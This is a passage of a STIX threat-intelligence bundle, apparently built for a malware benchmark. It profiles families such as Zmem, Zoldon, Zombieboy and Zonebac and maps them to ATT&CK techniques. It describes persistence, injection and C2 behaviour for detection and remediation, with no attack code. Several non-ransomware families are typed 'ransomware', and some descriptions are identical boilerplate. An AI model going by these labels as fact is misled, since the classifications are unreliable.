      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3c0db4e-0d97-5316-b08d-60f929cc6fc7",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zloyfly exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bf3d0193-b515-5c99-adc5-07967964c3e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3c0db4e-0d97-5316-b08d-60f929cc6fc7",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zloyfly exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a4538133-bf8b-5b37-bde1-79c17cae6cd2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zmem",
      "description": "Trojan:Win32/Zmem is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Zmem</b><br>To an end-user, a Zmem infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Zmem is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Zmem is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Zmem frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Zmem reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zmem",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zmem"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--774fafff-ad9a-56b7-854a-1ca16d8857bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a4538133-bf8b-5b37-bde1-79c17cae6cd2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zmem exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--72cd3c63-310c-5863-90fb-f314f4c2141c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a4538133-bf8b-5b37-bde1-79c17cae6cd2",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zmem exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5996ca4d-a685-5af7-a914-c1b33b8dd78e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a4538133-bf8b-5b37-bde1-79c17cae6cd2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zmem exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ba7b277a-5db6-55b6-a769-70d189dc9c7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a4538133-bf8b-5b37-bde1-79c17cae6cd2",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zmem exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--93aaea4e-672a-5015-bc2d-0f0c47c4d6af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a4538133-bf8b-5b37-bde1-79c17cae6cd2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zmem exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3d20fdda-5057-5cb5-b321-4b9e85172153",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zoldon",
      "description": "<h3>Executive Summary</h3>\nZoldon is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and conscript the infected machine into a larger, centrally controlled botnet. Once integrated, the compromised host is utilized to facilitate distributed denial-of-service (DDoS) attacks, relay spam campaigns, or act as a proxy for further malicious network activity.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nZoldon is typically distributed via malspam campaigns containing deceptive attachments, exploit kits hosted on compromised websites, or bundled with pirated software downloaded from untrustworthy sources.\n\nUpon successful execution, Zoldon prioritizes stealth and network integration:\n<ul>\n<li><strong>System Hooking and Persistence:</strong> The trojan deeply embeds itself within the operating system, often injecting its code into legitimate processes (like `explorer.exe` or `svchost.exe`) to hide from task managers and ensure it launches automatically upon system boot (modifying `Run` keys or creating hidden services).</li>\n<li><strong>Botnet Command and Control:</strong> Zoldon silently connects to a remote Command and Control (C2) server. It registers the infected machine, transmits basic system profiling data, and awaits commands from the botmaster.</li>\n<li><strong>Malicious Execution:</strong> Based on C2 instructions, the infected machine may participate in coordinated DDoS attacks against external targets, download and execute secondary malware payloads, or open hidden proxy ports to allow attackers to route traffic through the corporate network.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Zoldon infection is a severe security incident. While it may not immediately encrypt files like ransomware, it compromises the integrity of the endpoint and weaponizes the corporate network. It consumes significant network bandwidth and exposes the organization to liability if the infrastructure is used to attack third parties.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Network Isolation and C2 Blocking:</strong> Immediately isolate the infected endpoint from the LAN. Analyze firewall logs to identify the outbound C2 IP addresses and block them at the perimeter to sever the botmaster's control.</li>\n<li><strong>Behavioral Analysis (EDR):</strong> Utilize Endpoint Detection and Response (EDR) to identify the specific processes Zoldon has injected into and to trace any secondary payloads it may have downloaded.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the deep system hooking and the potential for secondary backdoor installations, attempting to manually \"clean\" a botnet node is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted corporate baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Zoldon",
        "Botnet.Zoldon",
        "Win32/Zoldon"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zoldon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zoldon"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eabcf6bb-edcf-5652-9edf-fb224c2ebdf6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d20fdda-5057-5cb5-b321-4b9e85172153",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zoldon exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--311593e9-b3dc-54df-aa90-43af1a3846a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d20fdda-5057-5cb5-b321-4b9e85172153",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zoldon exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f8a75f9e-27a7-55b9-8f28-f74e02b69dcd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d20fdda-5057-5cb5-b321-4b9e85172153",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zoldon exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2561da98-ded1-5609-8a44-6e956ffdf0da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d20fdda-5057-5cb5-b321-4b9e85172153",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zoldon exhibits technique T1498 (Network Denial of Service (Coordinated DDoS attacks))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--236629b7-93e7-5983-82bd-9e02919f7f3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zombam",
      "description": "Trojan:Win32/Zombam is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Zombam</b><br>To an end-user, a Zombam infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Zombam is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Zombam is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Zombam frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Zombam reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zombam",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zombam"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc2ef371-76cd-51f9-8b8e-2294e8c3622a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--236629b7-93e7-5983-82bd-9e02919f7f3c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zombam exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d618736-b966-5a08-ba5d-8000f51901f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--236629b7-93e7-5983-82bd-9e02919f7f3c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zombam exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1c58b9e-1765-5bda-8868-8ec1c8f0f12c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--236629b7-93e7-5983-82bd-9e02919f7f3c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zombam exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a6499c9-c76b-5ade-8a2f-99dc50d70a93",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--236629b7-93e7-5983-82bd-9e02919f7f3c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zombam exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20d511c4-ba0b-56b3-9294-ad6fd68fe2ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--236629b7-93e7-5983-82bd-9e02919f7f3c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zombam exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5af5d166-c326-5ca1-a801-6da4ca74d814",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zombieboy",
      "description": "Trojan:Win32/Zombieboy is a highly aggressive, self-propagating cryptomining botnet (Worm) that emerged prominently around 2018. It is infamous for rapidly spreading across enterprise networks by aggressively weaponizing a suite of leaked NSA exploits\u2014most notably EternalBlue (`T1210`) and DoublePulsar. Its primary objective is not data theft or ransomware, but rather to forcibly co-opt the CPU resources of infected machines to mine Monero (XMR) cryptocurrency (`T1496`).<br><br><b>Understanding Zombieboy (Cryptomining Worms)</b><br>To an end-user, a Zombieboy infection manifests as severe, unexplained system sluggishness and high CPU temperatures. For a security operations center (SOC), Zombieboy is a 'noisy' but critical threat. While cryptomining is less destructive than ransomware, the fact that Zombieboy successfully exploited a machine indicates a severe vulnerability management failure; the same vector could easily be used to deploy ransomware.<br><br><b>Execution and Propagation Mechanics</b><br>Zombieboy is primarily a network worm. Once a single machine on a network is infected (often via phishing or an exposed vulnerability), the bot immediately begins scanning the internal subnet (`T1046`) for port 445 (SMB). When it finds an unpatched machine, it fires the EternalBlue exploit (`T1210`) to gain SYSTEM-level access, subsequently using the DoublePulsar backdoor to install itself. It establishes persistence via WMI event subscriptions (`T1546.003`) or scheduled tasks. It then drops an open-source XMRig miner (often renamed), configures it to point to a mining pool, and begins monopolizing the CPU (`T1496`). To maintain dominance, it often attempts to kill competing cryptominers on the host.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is massive resource exhaustion and the realization of unpatched critical vulnerabilities. Host-based IoCs include the presence of `XMRig.exe` or heavily obfuscated binaries consuming 90%+ CPU in Task Manager, and the creation of anomalous WMI Event Consumers. Network IoCs are highly prominent: massive spikes in internal port 445 (SMB) scanning traffic originating from standard workstations, and outbound connections to known Stratum mining pool IP addresses over ports like 3333, 4444, or 8080. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zombieboy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zombieboy"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--18182572-cc42-5e98-907a-67d5e71f0b1c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5af5d166-c326-5ca1-a801-6da4ca74d814",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zombieboy exhibits technique T1496 (Resource Hijacking (The primary payload: Monero cryptomining))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--282127b1-b0c2-5c01-b091-369c7d1205cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5af5d166-c326-5ca1-a801-6da4ca74d814",
      "target_ref": "attack-pattern--9a77f7cf-eaa1-5bc1-a348-6e591703152b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zombieboy exhibits technique T1210 (Exploitation of Remote Services (Using EternalBlue for worm-like propagation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b6b650af-ab2e-53b3-8293-4031e579fc83",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5af5d166-c326-5ca1-a801-6da4ca74d814",
      "target_ref": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zombieboy exhibits technique T1046 (Network Service Discovery (Scanning the local subnet for port 445))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f325978-6e94-5bc2-85c7-d674ae761a54",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5af5d166-c326-5ca1-a801-6da4ca74d814",
      "target_ref": "attack-pattern--64b1ee32-1cf5-53c5-8a32-e95bd2440cc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zombieboy exhibits technique T1546.003 (Event Triggered Execution: Windows Management Instrumentation Event Subscription (Persistence mechanism))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4ace22ed-4c60-55a4-ab7b-8eaef584ff7b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zombierat",
      "description": "ZombieRAT (also cataloged across antimalware archives as ZombieRat, Backdoor.Win32.ZombieRat, and Zombie RAT by The Bo$$) is an early-to-mid 2000s Remote Access Trojan created in Visual Basic around 2003 by a developer using the handle 'The Bo$$'. Operating under a client-server architecture, ZombieRAT allowed unauthorized operators to connect to infected Windows 9x, ME, and 2000 workstations over direct TCP network sockets. Upon initial execution, ZombieRAT copies its executable payload into the Windows System directory, establishes persistence by creating registry entries under the Windows Run key, and listens for inbound connections. The trojan provided operators with a graphical management console offering remote surveillance and control commands, including file system browsing, file transfer, registry tampering, remote process termination, keystroke interception, desktop viewing, and disruptive hardware routines.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "ZombieRAT",
        "Backdoor.Win32.ZombieRat",
        "Zombie RAT by The Bo$$",
        "ZombieRat 1.0",
        "Backdoor:Win32/ZombieRat"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zombierat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zombierat"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a52ae85b-06f7-5cfc-a06f-6924885deb8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ace22ed-4c60-55a4-ab7b-8eaef584ff7b",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zombierat exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3dd8aac8-bd7f-5e95-b241-e2dd35490563",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ace22ed-4c60-55a4-ab7b-8eaef584ff7b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zombierat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f07aae04-5d55-530d-a9a0-a5615c89d686",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ace22ed-4c60-55a4-ab7b-8eaef584ff7b",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zombierat exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d094bf0a-c637-5d1f-b8c9-12b791c11890",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ace22ed-4c60-55a4-ab7b-8eaef584ff7b",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zombierat exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e3a472c-9417-5f92-bd2a-bf1320a752e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ace22ed-4c60-55a4-ab7b-8eaef584ff7b",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zombierat exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4e7c4818-92d3-5980-be19-2ffcce9da034",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zonebac",
      "description": "<h3>Executive Summary</h3>\nZonebac is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nZonebac is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Zonebac operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Zonebac ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Zonebac receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Zonebac infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Zonebac executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Zonebac frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Zonebac",
        "Downloader.Zonebac",
        "Win32/Zonebac"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zonebac",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zonebac"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--287cd0ce-ea70-5b2f-8b0c-5a87d11734d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e7c4818-92d3-5980-be19-2ffcce9da034",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zonebac exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad2bf734-b7b6-595e-b83b-f2211aadd9e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e7c4818-92d3-5980-be19-2ffcce9da034",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zonebac exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8809ba5f-7fb5-5c3a-8202-3a54971d63ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e7c4818-92d3-5980-be19-2ffcce9da034",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zonebac exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
